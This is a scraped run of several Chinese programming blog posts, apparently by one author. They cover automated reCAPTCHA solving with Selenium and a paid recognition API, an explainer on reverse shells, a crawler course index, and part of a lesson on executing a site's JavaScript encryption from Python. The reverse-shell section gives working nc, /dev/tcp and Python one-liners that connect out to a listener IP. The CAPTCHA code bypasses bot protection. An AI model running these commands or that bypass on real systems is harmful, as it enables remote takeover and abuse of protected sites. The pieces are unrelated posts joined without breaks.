其中这里 image 就可以是一个 3x3 或者 4x4 的验证码截图对应的 Base64 编码的字符串。

然后服务器就会返回类似这样的响应:

1
2
3
4
5
6
7
8
9
10
11
{
"errorId": 0,
"errorCode": "",
"errorDescription": "null",
"status": "ready",
"taskId": "3a9e8cb8-3871-11ec-9794-94e6f7355a0b",
"solution": {
"objects": [1,5,8], // 图像需要点击的位置
"type": "multi"
}
}

OK,我们可以看到,返回结果的 solution 字段中的 objects 字段就包含了一些代号,比如这里是 1, 5, 8,什么意思呢?这个就是对应的目标点击代号。

对于 3x3 的图片来说,对应的代号就是这样的:

对于 4x4 的图片来说,对应的代号就是这样的:

OK,知道了代号之后,模拟点击就好办多了吧,我们用一些模拟点击操作就可以完成了。

代码基础实现

行,那有了基本思路之后,那我们就开始用 Python 实现下整个流程吧,这里我们就拿 https://www.google.com/recaptcha/api2/demo 这个网站作为样例来讲解下整个识别和模拟点击过程。

识别封装

首先我们对上面的任务 API 实现一下封装,来先写一个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from loguru import logger
from app.settings import CAPTCHA_RESOLVER_API_KEY, CAPTCHA_RESOLVER_API_URL
import requests

class CaptchaResolver(object):

def __init__(self, api_url=CAPTCHA_RESOLVER_API_URL, api_key=CAPTCHA_RESOLVER_API_KEY):
self.api_url = api_url
self.api_key = api_key

def create_task(self, image_base64_string, question_id):
logger.debug(f'start to recognize image for question {question_id}')
data = {
"clientKey": self.api_key,
"task": {
"type": "ReCaptchaV2Classification",
"image": image_base64_string,
"question": question_id
}
}
try:
response = requests.post(self.api_url, json=data)
result = response.json()
logger.debug(f'captcha recogize result {result}')
return result
except requests.RequestException:
logger.exception(
'error occurred while recognizing captcha', exc_info=True)

OK,这里我们就先定义了一个类 CaptchaResolver,然后主要接收两个参数,一个就是 api_url,这个对应的就是 https://api.yescaptcha.com/createTask 这个 API 地址,然后还有一个参数是 api_key,这个就是前文介绍的那个 ClientKey。

接着我们定义了一个 create_task 方法,接收两个参数,第一个参数 image_base64_string 就是验证码图片对应的 Base64 编码,第二个参数 question_id 就是要识别的目标是什么,这里就是将整个请求用 requests 模拟实现了,最后返回对应的 JSON 内容的响应结果就好了。

基础框架

OK,那么接下来我们来用 Selenium 来模拟打开这个实例网站,然后模拟点选来触发验证码,接着识别验证码就好了。

首先写一个大致框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.common.action_chains import ActionChains
from app.captcha_resolver import CaptchaResolver


class Solution(object):
def __init__(self, url):
self.browser = webdriver.Chrome()
self.browser.get(url)
self.wait = WebDriverWait(self.browser, 10)
self.captcha_resolver = CaptchaResolver()

def __del__(self):
time.sleep(10)
self.browser.close()

这里我们先在构造方法里面初始化了一个 Chrome 浏览器操作对象,然后调用对应的 get 方法打开实例网站,接着声明了一个 WebDriverWait 对象和 CaptchaResolver 对象,以分别应对节点查找和验证码识别操作,留作备用。

iframe 切换支持

接着,下一步我们就该来模拟点击验证码的入口,来触发验证码了对吧。

通过观察我们发现这个验证码入口其实是在 iframe 里面加载的,对应的 iframe 是这样的:

另外弹出的验证码图片又在另外一个 iframe 里面,如图所示:

Selenium 查找节点是需要切换到对应的 iframe 里面才行的,不然是没法查到对应的节点,也就没法模拟点击什么的了。

所以这里我们定义几个工具方法,分别能够支持切换到入口对应的 iframe 和验证码本身对应的 iframe,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_captcha_entry_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_entry_iframe = self.browser.find_element_by_css_selector(
'iframe[title="reCAPTCHA"]')
return captcha_entry_iframe

def switch_to_captcha_entry_iframe(self) -> None:
captcha_entry_iframe: WebElement = self.get_captcha_entry_iframe()
self.browser.switch_to.frame(captcha_entry_iframe)

def get_captcha_content_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_content_iframe = self.browser.find_element_by_xpath(
'//iframe[contains(@title, "recaptcha challenge")]')
return captcha_content_iframe

def switch_to_captcha_content_iframe(self) -> None:
captcha_content_iframe: WebElement = self.get_captcha_content_iframe()
self.browser.switch_to.frame(captcha_content_iframe)

这样的话,我们只需要调用 switch_to_captcha_content_iframe 就能查找验证码图片里面的内容,调用 switch_to_captcha_entry_iframe 就能查找验证码入口里面的内容。

触发验证码

OK,那么接下来的一步就是来模拟点击验证码的入口,然后把验证码触发出来了对吧,就是模拟点击这里:

实现很简单,代码如下:

1
2
3
4
5
6
7
8
9
10
def trigger_captcha(self) -> None:
self.switch_to_captcha_entry_iframe()
captcha_entry = self.wait.until(EC.presence_of_element_located(
(By.ID, 'recaptcha-anchor')))
captcha_entry.click()
time.sleep(2)
self.switch_to_captcha_content_iframe()
entire_captcha_element: WebElement = self.get_entire_captcha_element()
if entire_captcha_element.is_displayed:
logger.debug('trigged captcha successfully')

这里首先我们首先调用 switch_to_captcha_entry_iframe 进行了 iframe 的切换,然后找到那个入口框对应的节点,然后点击一下。

点击完了之后我们再调用 switch_to_captcha_content_iframe 切换到验证码本身对应的 iframe 里面,查找验证码本身对应的节点是否加载出来了,如果加载出来了,那么就证明触发成功了。

找出识别目标

OK,那么现在验证码可能就长这样子了:

那接下来我们要做的就是两件事了,一件事就是把匹配目标找出来,就是上图中的加粗字体,第二件事就是把验证码进行保存,然后转成 Base64 编码,提交给 CaptchaResolver 来识别。

好,那么怎么查找匹配目标呢?也就是上图中的 traffice lights,用 Selenium 常规的节点搜索就好了:

1
2
3
4
def get_captcha_target_name(self) -> WebElement:
captcha_target_name_element: WebElement = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '.rc-imageselect-desc-wrapper strong')))
return captcha_target_name_element.text

通过调用这个方法,我们就能得到上图中类似 traffic lights 的内容了。

验证码识别

接着,我们对验证码图片进行下载,然后转 Base64 进行识别吧,整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def verify_entire_captcha(self):
self.entire_captcha_natural_width = self.get_entire_captcha_natural_width()
logger.debug(
f'entire_captcha_natural_width {self.entire_captcha_natural_width}'
)
self.captcha_target_name = self.get_captcha_target_name()
logger.debug(
f'captcha_target_name {self.captcha_target_name}'
)
entire_captcha_element: WebElement = self.get_entire_captcha_element()
entire_captcha_url = entire_captcha_element.find_element_by_css_selector(
'td img').get_attribute('src')
logger.debug(f'entire_captcha_url {entire_captcha_url}')
with open(CAPTCHA_ENTIRE_IMAGE_FILE_PATH, 'wb') as f:
f.write(requests.get(entire_captcha_url).content)
logger.debug(
f'saved entire captcha to {CAPTCHA_ENTIRE_IMAGE_FILE_PATH}')
resized_entire_captcha_base64_string = resize_base64_image(
CAPTCHA_ENTIRE_IMAGE_FILE_PATH, (self.entire_captcha_natural_width,
self.entire_captcha_natural_width))
logger.debug(
f'resized_entire_captcha_base64_string, {resized_entire_captcha_base64_string[0:100]}...')
entire_captcha_recognize_result = self.captcha_resolver.create_task(
resized_entire_captcha_base64_string,
get_question_id_by_target_name(self.captcha_target_name)
)

这里我们首先获取了一些验证码的基本信息:

  • entire_captcha_natural_width:验证码图片对应的图片真实大小,这里如果是 3x3 的验证码图片,那么图片的真实大小就是 300,如果是 4x4 的验证码图片,那么图片的真实大小是 450
  • captcha_target_name:识别目标名称,就是刚才获取到的内容
  • entire_captcha_element:验证码图片对应的节点对象。

这里我们先把 entire_captcha_element 里面的 img 节点拿到,然后将 img 的 src 内容获取下来,赋值为 entire_captcha_url,这样其实就得到了一张完整的验证码大图,然后我们将其写入到文件中。

结果就类似这样的:

接着我们把这个图片发给 YesCaptcha 进行识别就好了。

Base64 编码

接着,我们把这张图片转下 Base64 编码,定义这样一个方法:

1
2
3
4
5
6
7
8
9
def resize_base64_image(filename, size):
width, height = size
img = Image.open(filename)
new_img = img.resize((width, height))
new_img.save(CAPTCHA_RESIZED_IMAGE_FILE_PATH)
with open(CAPTCHA_RESIZED_IMAGE_FILE_PATH, "rb") as f:
data = f.read()
encoded_string = base64.b64encode(data)
return encoded_string.decode('utf-8')

这里值得注意的是,由于 API 对图片大小有限制,如果是 3x3 的图片,那么我们需要将图片调整成 300x300 才可以,如果是 4x4 的图片,那么我们需要将图片调整成 450x450,所以这里我们先调用了 Image 的 resize 方法调整了大小,接着再转成了 Base64 编码。

问题 ID 处理

那问题 ID 怎么处理呢?通过 API 文档 https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/18055169 我们可以看到如下映射表:

所以,比如假如验证码里面我们得到的是 traffic lights,那么问题 ID 就是 /m/015qff,行,那我们反向查找就好了,定义这么个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
CAPTCHA_TARGET_NAME_QUESTION_ID_MAPPING = {
"taxis": "/m/0pg52",
"bus": "/m/01bjv",
"school bus": "/m/02yvhj",
"motorcycles": "/m/04_sv",
"tractors": "/m/013xlm",
"chimneys": "/m/01jk_4",
"crosswalks": "/m/014xcs",
"traffic lights": "/m/015qff",
"bicycles": "/m/0199g",
"parking meters": "/m/015qbp",
"cars": "/m/0k4j",
"vehicles": "/m/0k4j",
"bridges": "/m/015kr",
"boats": "/m/019jd",
"palm trees": "/m/0cdl1",
"mountains or hills": "/m/09d_r",
"fire hydrant": "/m/01pns0",
"fire hydrants": "/m/01pns0",
"a fire hydrant": "/m/01pns0",
"stairs": "/m/01lynh",
}


def get_question_id_by_target_name(target_name):
logger.debug(f'try to get question id by {target_name}')
question_id = CAPTCHA_TARGET_NAME_QUESTION_ID_MAPPING.get(target_name)
logger.debug(f'question_id {question_id}')
return question_id

这样传入名称,我们就可以得到问题 ID 了。

最后将上面的参数直接调用 CaptchaResovler 对象的 create_task 方法就能得到识别结果了。

模拟点击

得到结果之后,我们知道返回结果的 objects 就是需要点击的验证码格子的列表,下面进行模拟点击即可:

1
2
3
4
5
6
7
single_captcha_elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '#rc-imageselect-target table td')))
for recognized_index in recognized_indices:
single_captcha_element: WebElement = single_captcha_elements[recognized_index]
single_captcha_element.click()
# check if need verify single captcha
self.verify_single_captcha(recognized_index)

这里我们首先得到了 recognized_indices 就是识别结果对应的标号,然后逐个遍历进行模拟点击。

对于每次点击,我们可以直接获取所有的验证码格子对应的节点,然后调用其 click 方法就可以完成点击了,其中格子的标号和返回结果的对应关系如图:

当然我们也可以通过执行 JavaScript 来对每个节点进行模拟点击,效果是类似的。

这样我们就可以实现验证码小图的逐个识别了。

小图识别

等等,在识别过程中还发现了一个坑,那就是有时候我们点击完一个小格子之后,这个小格子就消失了!然后在原来的小格子的位置出现了一个新的小图,我们需要对新出现的图片进行二次识别才可以。

这个怎么处理呢?

我们其实可以在每点击完一个格子之后就来校验下当前小格子有没有图片刷新,如果有图片刷新,那么对应的 HTML 的 class 就会变化,否则就会包含 selected 字样,然后我们再继续对小格子对应的图进行二次识别就好了。

这里我们再定义一个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def verify_single_captcha(self, index):
time.sleep(3)
elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '#rc-imageselect-target table td')))
single_captcha_element: WebElement = elements[index]
class_name = single_captcha_element.get_attribute('class')
logger.debug(f'verifiying single captcha {index}, class {class_name}')
if 'selected' in class_name:
logger.debug(f'no new single captcha displayed')
return
logger.debug('new single captcha displayed')
single_captcha_url = single_captcha_element.find_element_by_css_selector(
'img').get_attribute('src')
logger.debug(f'single_captcha_url {single_captcha_url}')
with open(CAPTCHA_SINGLE_IMAGE_FILE_PATH, 'wb') as f:
f.write(requests.get(single_captcha_url).content)
resized_single_captcha_base64_string = resize_base64_image(
CAPTCHA_SINGLE_IMAGE_FILE_PATH, (100, 100))
single_captcha_recognize_result = self.captcha_resolver.create_task(
resized_single_captcha_base64_string, get_question_id_by_target_name(self.captcha_target_name))
if not single_captcha_recognize_result:
logger.error('count not get single captcha recognize result')
return
has_object = single_captcha_recognize_result.get(
'solution', {}).get('hasObject')
if has_object is None:
logger.error('count not get captcha recognized indices')
return
if has_object is False:
logger.debug('no more object in this single captcha')
return
if has_object:
single_captcha_element.click()
# check for new single captcha
self.verify_single_captcha(index)

OK,这里我们定义了一个 verify_single_captcha 方法,然后传入了格子对应的序号。接着我们首先尝试查找格子对应的节点,然后找出对应的 HTML 的 class 属性。如果没有出现新的小图,那就是这样的选中状态,对应的 class 就包含了 selected 字样,如图所示:

对于这样的图片,我们就不需要进行二次验证,否则就需要对这个格子进行截图和二次识别。

二次识别的步骤也是一样的,我们需要将小格子对应的图片单独获取其 url,然后下载下来,接着调整大小并转化成 Base64 编码,然后发给 API,API 会通过一个 hasObject 字段告诉我们这个小图里面是否包含我们想要识别的目标内容,如果是,那就接着点击,然后递归进行下一次检查,如果不是,那就跳过。

点击验证

好,那么有了上面的逻辑,我们就能完成整个 ReCAPTCHA 的识别和点选了。

最后,我们模拟点击验证按钮就好了:

1
2
3
4
5
6
7
8
9
10
def get_verify_button(self) -> WebElement:
verify_button = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '#recaptcha-verify-button')))
return verify_button

# after all captcha clicked
verify_button: WebElement = self.get_verify_button()
if verify_button.is_displayed:
verify_button.click()
time.sleep(3)

校验结果

点击完了之后,我们可以尝试检查网页变化,看看有没有验证成功。

比如验证成功的标志就是出现一个绿色小对勾:

检查方法如下:

1
2
3
4
5
6
7
8
def get_is_successful(self):
self.switch_to_captcha_entry_iframe()
anchor: WebElement = self.wait.until(EC.visibility_of_element_located((
By.ID, 'recaptcha-anchor'
)))
checked = anchor.get_attribute('aria-checked')
logger.debug(f'checked {checked}')
return str(checked) == 'true'

这里我们先切换了 iframe,然后检查了对应的 class 是否是符合期望的。

最后如果 get_is_successful 返回结果是 True,那就代表识别成功了,那就整个完成了。

如果返回结果是 False,我们可以进一步递归调用上述逻辑进行二次识别,直到识别成功即可。

代码

以上代码可能比较复杂,这里我将代码进行了规整,然后放到 GitHub 上了,大家如有需要可以自取:https://github.com/Python3WebSpider/RecaptchaResolver

注册地址

最后需要说明一点,上面的验证码服务是收费的,每验证一次可能花一定的点数,比如识别一次 3x3 的图要花 10 点数,而充值一块钱就能获得 1000 点数,所以识别一次就一分钱,还是比较便宜的。

我这里充值了好几万点数,然后我就变成了 VIP5级的账号。我研究了下发现大家如果用我的邀请链接 https://yescaptcha.com/i/CnZPBu 注册大家可以直接变成 VIP4,然后 VIP4可以获取首充赠送 10% 的优惠,还不错哈~

希望本文对大家有帮助。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

技术杂谈

前段时间被一位产品经理嘲笑了,说我居然连反弹 Shell 都不知道!

说实话当时我还真不知道,但这口气咽不下去啊,得赶紧学来看看,这不,我已经学会了!

学完之后我特地来记录下,同时分享给大家,以后产品经理再也不敢嘲笑我们不懂反弹 Shell 了!

什么是反弹 Shell

我们都知道 Shell 的概念吧,简单来说,Shell 就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。

那反弹 Shell 是啥呢?其英文名叫做 Reverse Shell,具体干什么的呢?就是控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。

比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,然后让 B 去连接 A 的这个端口,连接成功之后,A 这边就能通过命令控制 B了。

反弹 Shell 有什么用?

还是原来的例子,我们想用 A 来控制 B,如果想用 ssh 等命令来控制,那得输入 B 的 sshd 地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT 等原因,我们实际上是无法直接连接到 B 的,比如:

  • A 虽然有公网 IP,但 B 是一个处于内网的机器,A 就没法直接连到 B 上。

  • B 上开了防火墙或者安全组限制,sshd 的服务端口 22 被封闭了。

  • B 是一台拨号主机,其 IP 地址经常变动。

  • 假如 B 被攻击了,我们想让 B 向 A 汇报自己的状况,那自然就需要 B 主动去连接 A。

如果是这些情况,我们就可以用反弹 Shell 用 A 来控制 B 了。

反弹 Shell 案例

首先我们先看一个标准的反弹 Shell 的例子,这里我们一共需要两台主机:

  • A 是控制端,可以处于公网之中,也可以和 B 处于一个局域网中,总之能让 B 找到 A 就行。

  • B 是被控端,可以处在局域网之中。

在开始之前我们需要用到 nc 命令,安装非常简单。

如果是 CentOS 系列系统,安装命令如下:

1
yum install -y nc # CentOS

如果是 Ubuntu 系列系统,安装命令可以参考 https://stackoverflow.com/questions/10065993/how-to-switch-to-netcat-traditional-in-ubuntu

接着,我们在 A 上执行如下命令:

1
nc -lvp 32767

这个命令的意思是开启 32767 的端口监听,运行之后如图所示:

这样就表明 A 上正在监听 32767 端口的连接了。

这时候,我们可以在 B 上通过类似的命令连接到 A,假如 A 的 IP 是 111.112.113.114,那么命令如下:

1
nc 111.112.113.114 32767 -e /bin/bash

注意:你在运行的时候需要替换成 A 的真实 IP 和端口。

运行完毕之后,我们反过来观察下 A,就显示了来自某个 IP 和端口的连接,我们就可以输入命令来控制 B 了,比如这里我们输入了:

1
uname -a

然后就可以得到 B 的主机名了。

如图所示:

这样我们就通过 nc 包实现了反弹 Shell。

有人说,这 B 上一定需要安装 nc 这个包吗?其实不一定的,我们可以直接使用 bash 来实现反弹 Shell,命令如下:

1
bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

这个命令大致解释下:

  • bash -i 就是产生一个 bash 交互环境

  • >&可以将 bash 交互环境的输入、输出、错误输出都输出到一个地方

  • /dev/tcp/111.112.113.114/32767 其实指的就是目标主机的一个连接地址,因为 Linux 环境中所有内容的定义都是以文件的形式存在的,指定这个地址就是让主机和目标主机建立一个 TCP 连接。

  • 0>&1可以将标准输入和标准输出相结合,重定向给前面标准输出的内容。

通过这样的命令,我们就可以就是将 B的标准输出和错误输出都重定向给 A,并且将 A 的输入都重定向给 B,这样我们就可以实现 A 对 B 的远程控制了,如图所示:

比如这样我们就可以轻松在 A 主机上拿到 B 主机的主机名、当前所处路径等内容了。

另外除了用 bash,我们还可以利用 Python 进行反弹 Shell,脚本如下:

1
2
3
4
5
6
7
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

可以达到同样反弹 Shell 的效果,即可以用 A 来控制 B。

总结

以上就是反弹 Shell 的介绍,灵活运用反弹 Shell 可以大大便利某些场景下的远程控制,希望对大家有帮助。

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

Python

大家好,我是崔庆才,非常高兴能在此处与您相见,无论您对爬虫有所涉猎还是初学爬虫,我希望我撰写的本 Python 爬虫系列教程能对您有所帮助。

要学爬虫,首推的就是 Python 语言,简单快速易上手,且 Python 语言的爬虫生态极其丰富。

我个人于 2015 年研究 Python 爬虫技术,并于 2018 年出版了个人第一版爬虫书《Python3 网络爬虫开发实战》,出版至今,此本书一直处于市面上所有爬虫书的销冠位置,销量 10w 册,豆瓣评分 9.0。

Python 爬虫技术的基本内容包括网页基础分析、requests 请求、XPath 和正则解析、Ajax 分析、Selenium 模拟浏览器爬取、Scrapy 等知识点,但技术不是一成不变的,随着近几年时代的发展,一些新兴爬虫技术如异步爬虫、JavaScript 逆向、AST 技术、安卓逆向、Hook、智能解析、WebAssembly、大规模分布式、Docker、Kubernetes 等技术不断涌现,而现在网上的爬虫文章也存在着极大问题,一个是内容泛滥不堪、同质化严重,另一个是几乎没有几篇博文能紧跟前沿技术,多数还停留在几年前的水平,而且很多爬虫教程所用案例已经非常老旧而且多数也无法运行,这极大地打击了初学者的自信心。

因此,2022 年了,有一套内容全面的、紧跟前沿技术的、案例稳定运行的爬虫教程可谓是非常难得。

是的,所以在 2021 年底,我又出版了《Python3 网络爬虫开发实战(第二版)》,对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,

目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就这一套教程了,当然书的话也仅有《Python3 网络爬虫开发实战(第二版)》可以做到。

本教程内容多数来自于《Python3 网络爬虫开发实战(第二版)》,本教程对书中内容进行了精简和梳理,尽量覆盖到最新的知识点,当然更全面的内容可以购买《Python3 网络爬虫开发实战(第二版)》一书了解更多。

以下为 Python3 网络爬虫学习教程内容:

爬虫基础入门

  1. 什么是爬虫?
  2. HTTP 基本原理
  3. Web 网页基础
  4. Session 和 Cookie
  5. urllib 爬虫初体验
  6. 方便好用的 requests
  7. 强大灵活的正则表达式
  8. 基础爬虫案例爬取实战

页面解析和数据存储

  1. 网页解析利器 XPath 初体验
  2. 新兴网页解析利器 parsel
  3. 简易的 TXT 纯文本文件存储
  4. 方便灵活的 JSON 文本文件存储
  5. 高效实用的 MongoDB 文档存储
  6. 关系型数据库 MySQL 存储
  7. 当爬虫遇见 RabbitMQ 消息队列
  8. 便于高效检索的 Elasticsearch 存储

Ajax 分析和动态渲染页面爬取

  1. 什么是 Ajax?
  2. Ajax 分析方法
  3. Ajax 案例爬取实战
  4. 经典动态渲染工具 Selenium 的使用
  5. 新兴动态渲染工具 Playwright 的使用

异步爬虫和模拟登录

  1. 协程的基本原理
  2. aiohttp 的基本使用
  3. 模拟登录的基本原理
  4. Session + Cookie 模拟登录爬取实战

验证码的处理

  1. OCR 识别验证码
  2. OpenCV 图像匹配识别滑动验证码缺口
  3. 深度学习识别滑动验证码缺口

代理的使用

  1. 代理的基本原理
  2. 代理的基本使用
  3. 高效代理池的维护
  4. ADSL 拨号代理的使用

JavaScript 混淆、逆向技术

  1. JavaScript 网站加密和混淆技术简介
  2. JavaScript 逆向调试技巧
  3. JavaScript Hook 的用法
  4. Python 模拟执行 JavaScript

App 爬虫和安卓逆向

页面智能解析

Scrapy 框架和分布式爬虫

爬虫的部署、维护、监控

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

前面我们了解了一些 JavaScript 逆向的调试技巧,通过一些方法,我们可以找到一些突破口,进而找到关键的方法定义。

比如说,通过一些调试,我们找到了一个加密参数 token 是由某一个叫做 encrypt 方法产生的,如果里面的逻辑相对简单的话,那其实我们可以用 Python 完全重写一遍。但是现实情况往往不是这样的,一般来说,一些加密相关的方法通常会引用一些相关标准库,比如说 JavaScript 就有一个广泛使用的库,叫做 crypto-js,GitHub 仓库链接是:https://github.com/brix/crypto-js,这个库实现了很多主流的加密算法,包括对称加密、非对称加密、字符编码等等,比如对于 AES 加密,通常我们需要输入待加密文本和加密密钥,实现如下:

1
const ciphertext = CryptoJS.AES.encrypt(message, key).toString();

对于这样的情况,我们其实就没法很轻易地完全重写一遍了,因为 Python 中并不一定有和 JavaScript 完全一样的类库。

那有什么解决办法吗?有的,既然 JavaScript 已经实现好了,那我用 Python 直接模拟执行这些 JavaScript 得到结果不就好了吗?

所以,本节我们就来了解下使用 Python 模拟执行 JavaScript 的解决方案。

1. 案例引入

这里我们先看一个和上文描述的情形非常相似的案例,链接是:https://spa7.scrape.center/,如图所示:

image-20210825014021855

这是一个 NBA 球星网站,用卡片的形式展示了一些球星的基本信息,另外每一张卡片上其实都有一个加密字符串,这个加密字符串其实和球星的相关信息是有关联的,每个球星的 加密字符串也是不同的。

所以,这里我们要做的就是找出这个加密字符串的加密算法并用程序把加密字符串的生成过程模拟出来。

2. 准备工作

由于本节我们需要使用 Python 模拟执行 JavaScript,这里我们使用的库叫做 PyExecJS,我们使用 pip3 安装即可,命令如下:

1
pip3 install pyexecjs

PyExecJS 是用于执行 JavaScript 的,但执行 JavaScript 的功能需要依赖一个 JavaScript 运行环境,所以除了安装好这个库之外,我们还需要安装一个 JavaScript 运行环境,个人比较推荐的是 Node.js,所以我们还需要安装下 Node.js,可以到 https://nodejs.org/ 下载安装。更加详细的安装和配置过程可以参考:https://setup.scrape.center/pyexecjs。

PyExecJS 库在运行时会检测本地 JavaScript 运行环境来实现 JavaScript 执行,做好如上准备工作之后, 接着我们运行代码检查一下运行环境:

1
2
import execjs
print(execjs.get().name)

运行结果类似如下:

1
Node.js (V8)

如果你成功安装好 PyExecJS 库和 Node.js 的话,其结果就是 Node.js (V8),当然如果你安装的是其他的 JavaScript 运行环境,结果也会有所不同。

3. 分析

接下来我们就对这个网站稍作分析,打开 Sources 面板,我们可以非常轻易地找到加密字符串的生成逻辑,如图所示:

image-20210826034346308

首先声明了一个球员相关的列表,如:

1
2
3
4
5
6
7
8
9
10
const players = [
{
name: '凯文-杜兰特',
image: 'durant.png',
birthday: '1988-09-29',
height: '208cm',
weight: '108.9KG'
}
...
]

然后对于每一个球员,都把每个球员的信息调用了加密算法进行了加密,我们可以打个断点看下:

image-20210825014950392

这里我们可以看到,getToken 方法的输入就是单个球员的信息,就是上述列表的一个元素对象,然后 this.key 就是一个固定的字符串。整个加密逻辑就是提取了球员的名字、生日、身高、体重,然后先 Base64 编码然后再进行 DES 加密,最后返回结果。

加密算法是怎么实现的呢?其实就是依赖了 crypto-js 库,使用了 CryptoJS 对象来实现的。

那 CryptoJS 这个对象是哪里来的呢?总不能凭空产生吧?其实这个网站就是直接引用了这个库,如图所示:

image-20210826035113504

引用这个 JavaScript 文件之后,CryptoJS 就被注入到浏览器全局环境下了,因此我们就可以在别的方法里面直接使用 CryptoJS 对象里面的方法了。

4. 模拟调用

好,那既然这样,我们要怎么模拟呢?下面我们来实现下。

首先,我们要模拟的其实就是这个 getToken 方法,输入球员相关信息,得到最终的加密字符串,这里我们直接把 key 替换下,把 getToken 方法稍微改写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getToken(player) {
let key = CryptoJS.enc.Utf8.parse("fipFfVsZsTda94hJNKJfLoaqyqMZFFimwLt");
const { name, birthday, height, weight } = player;
let base64Name = CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(name));
let encrypted = CryptoJS.DES.encrypt(
`${base64Name}${birthday}${height}${weight}`,
key,
{
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7,
}
);
return encrypted.toString();
}

因为这个方法的模拟执行是需要 CryptoJS 这个对象的,如果我们直接调用这个方法肯定会报 CryptoJS 未定义的错误。

那怎么办呢?我们只需要再模拟执行下刚才看到的 crypto-js.min.js 不就好了吗?

OK,所以,我们需要模拟执行的内容就是两部分:

  • 模拟运行 crypto-js.min.js 里面的 JavaScript,用于声明 CryptoJS 对象。
  • 模拟运行 getToken 方法的定义,用于声明 getToken 方法。

好,接下来我们就把 crypto-js.min.js 里面的代码和上面 getToken 方法的代码复制一下,都粘贴到一个 JavaScript 文件里面,比如就叫做 crypto.js。

接下来我们就用 PyExecJS 模拟执行一下吧,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import execjs
import json

item = {
'name': '凯文-杜兰特',
'image': 'durant.png',
'birthday': '1988-09-29',
'height': '208cm',
'weight': '108.9KG'
}

file = 'crypto.js'
node = execjs.get()
ctx = node.compile(open(file).read())

js = f"getToken({json.dumps(item, ensure_ascii=False)})"
print(js)
result = ctx.eval(js)
print(result)

这里我们单独定义了一位球员的信息,赋值为 item 变量。然后使用 execjs 的 get 方法获取了 JavaScript 执行环境,赋值为 node。

接着我们调用了 node 的 compile 方法,传入了刚才定义的 crypto.js 文件的文本内容,compile 方法会返回一个 JavaScript 的上下文对象,我们赋值为 ctx。执行到这里,其实就可以理解为,ctx 对象里面就执行过了 crypto-js.min.js,CryptoJS 就声明好了,然后也执行过了 getToken 的定义,所以 getToken 方法也定义好了,相当于完成了一些初始化的工作。

接着,我们只需要定义好我们想要执行的 JavaScript 代码就好了,我们定义了一个 js 变量,其实就是模拟调用了 getToken 方法并传入了球员信息,我们打印了下 js 变量的值,内容如下:

1
getToken({"name": "凯文-杜兰特", "image": "durant.png", "birthday": "1988-09-29", "height": "208cm", "weight": "108.9KG"})

其实这就是一个标准的 JavaScript 方法调用的写法而已。

接着我们调用 ctx 对象的 eval 方法并传入 js 变量,其实就是模拟执行了这句 JavaScript 代码,照理来说最终返回的就是加密字符串了。

然而,运行之后,我们可能看到这个报错:

1
execjs._exceptions.ProgramError: ReferenceError: CryptoJS is not defined

很奇怪,CryptoJS 未定义?我们明明执行过 crypto-js.min.js 里面的内容了呀?

问题其实出在 crypto-js.min.js 里面,可以看到其里面声明了一个 JavaScript 的自执行方法,如图所示:

image-20210825020403826

自执行方法什么意思呢?就是声明了一个方法,然后紧接着调用执行,我们可以看下这个例子:

1
2
3
!(function (a, b) {
console.log("result", a, b);
})(1, 2);

